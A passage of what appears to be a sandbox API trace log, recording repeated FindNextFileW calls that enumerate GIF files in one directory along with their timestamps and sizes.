ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10337_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebfa00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ebfa00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14513_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14514_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14515_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd05b1500, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd05b1500, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14528_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14529_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14530_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14531_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14532_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14533_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe7b7100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe7b7100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14565_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14578_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14579_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14580_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14581_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14582_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8115e400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8115e400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14583_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a53e00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb4a53e00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14654_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a53e00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb4a53e00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14655_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d66b00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5d66b00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14656_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14691_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14692_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc555b400, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc555b400, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14693_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14752_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14753_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14754_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd2f700, ftCreationTime.dwHighDateTime=0x1bd4f43, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fd2f700, ftLastWriteTime.dwHighDateTime=0x1bd4f43, nFileSizeHigh=0x0, nFileSizeLow=0x44, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14755_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedddae00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xedddae00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14756_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedddae00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xedddae00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14757_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14790_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14791_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafa9d00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfafa9d00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14792_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14793_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14794_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2bca00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc2bca00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14795_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948b900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948b900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14828_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948b900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948b900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14829_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14830_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14831_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14832_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14833_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1796d500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1796d500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14866_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14867_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14868_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14869_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f92f00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19f92f00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14870_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f92f00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19f92f00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14871_.GIF", cAlternateFileName="")) returned 1 [0073.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3a5000, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c3a5000, 